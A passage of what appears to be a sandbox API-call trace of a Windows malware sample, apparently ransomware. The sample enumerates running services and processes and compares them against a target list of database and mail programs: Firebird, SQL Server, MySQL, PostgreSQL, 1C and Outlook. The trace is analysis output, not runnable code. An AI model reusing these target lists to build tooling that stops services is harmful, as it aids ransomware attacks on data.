(lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.801] lstrlenW (lpString="AudioSrv") returned 8 [0079.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0079.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0079.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0079.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0079.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0079.801] lstrlenW (lpString="BFE") returned 3 [0079.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.801] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.801] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.801] lstrlenW (lpString="CryptSvc") returned 8 [0079.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.802] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.802] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.802] lstrlenW (lpString="CscService") returned 10 [0079.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0079.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0079.802] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0079.802] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0079.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0079.802] lstrlenW (lpString="DcomLaunch") returned 10 [0079.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.803] lstrlenW (lpString="Dhcp") returned 4 [0079.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.803] lstrlenW (lpString="Dnscache") returned 8 [0079.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0079.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.803] lstrlenW (lpString="DPS") returned 3 [0079.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.803] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.804] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.804] lstrlenW (lpString="eventlog") returned 8 [0079.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0079.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0079.804] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0079.804] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0079.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0079.804] lstrlenW (lpString="EventSystem") returned 11 [0079.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.804] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.804] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.804] lstrlenW (lpString="gpsvc") returned 5 [0079.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.805] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.805] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.805] lstrlenW (lpString="iphlpsvc") returned 8 [0079.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.805] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.805] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.805] lstrlenW (lpString="LanmanServer") returned 12 [0079.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.805] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.805] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.805] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.805] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.806] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.806] lstrlenW (lpString="lmhosts") returned 7 [0079.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.806] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.806] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.806] lstrlenW (lpString="MMCSS") returned 5 [0079.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0079.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0079.806] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0079.806] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0079.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0079.806] lstrlenW (lpString="MpsSvc") returned 6 [0079.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.807] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.807] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.807] lstrlenW (lpString="Netman") returned 6 [0079.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0079.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0079.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0079.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0079.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0079.807] lstrlenW (lpString="netprofm") returned 8 [0079.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.807] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.807] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.807] lstrlenW (lpString="NlaSvc") returned 6 [0079.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.808] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.808] lstrlenW (lpString="nsi") returned 3 [0079.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.808] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.808] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.808] lstrlenW (lpString="PcaSvc") returned 6 [0079.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.808] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.808] lstrlenW (lpString="PlugPlay") returned 8 [0079.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.809] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.809] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.809] lstrlenW (lpString="Power") returned 5 [0079.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.809] lstrlenW (lpString="ProfSvc") returned 7 [0079.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.810] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.810] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.810] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.810] lstrlenW (lpString="RpcSs") returned 5 [0079.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.811] lstrlenW (lpString="SamSs") returned 5 [0079.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.811] lstrlenW (lpString="Schedule") returned 8 [0079.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.811] lstrlenW (lpString="SENS") returned 4 [0079.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.812] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.812] lstrlenW (lpString="Spooler") returned 7 [0079.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.812] lstrlenW (lpString="SysMain") returned 7 [0079.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0079.813] lstrlenW (lpString="Themes") returned 6 [0079.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0079.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0079.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0079.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0079.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0079.813] lstrlenW (lpString="TrkWks") returned 6 [0079.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0079.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0079.813] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0079.813] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0079.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0079.813] lstrlenW (lpString="UxSms") returned 5 [0079.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0079.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0079.813] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0079.813] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0079.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0079.813] lstrlenW (lpString="VSS") returned 3 [0079.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0079.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0079.814] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0079.814] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0079.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0079.814] lstrlenW (lpString="WdiServiceHost") returned 14 [0079.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0079.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0079.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0079.814] lstrlenW (lpString="WdiSystemHost") returned 13 [0079.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.814] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0079.814] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0079.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0079.814] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0079.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.815] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0079.815] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0079.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0079.815] lstrlenW (lpString="Winmgmt") returned 7 [0079.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0079.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0079.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0079.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0079.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0079.815] lstrlenW (lpString="WPDBusEnum") returned 10 [0079.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.815] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0079.815] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0079.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0079.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x625020 | out: hHeap=0x5d0000) returned 1 [0079.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0079.821] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.822] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.822] lstrlenW (lpString="System") returned 6 [0079.822] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0079.822] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0079.822] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0079.823] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0079.823] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0079.823] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0079.823] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0079.823] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.823] lstrlenW (lpString="smss.exe") returned 8 [0079.823] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0079.823] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0079.823] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.824] lstrlenW (lpString="csrss.exe") returned 9 [0079.824] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.824] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0079.824] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0079.824] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0079.824] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0079.824] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0079.824] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0079.824] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.825] lstrlenW (lpString="wininit.exe") returned 11 [0079.825] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0079.825] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0079.825] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.826] lstrlenW (lpString="csrss.exe") returned 9 [0079.826] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.826] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.827] lstrlenW (lpString="winlogon.exe") returned 12 [0079.827] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.827] lstrlenW (lpString="services.exe") returned 12 [0079.828] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.828] lstrlenW (lpString="lsass.exe") returned 9 [0079.828] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.829] lstrlenW (lpString="lsm.exe") returned 7 [0079.829] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.829] lstrlenW (lpString="svchost.exe") returned 11 [0079.829] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, 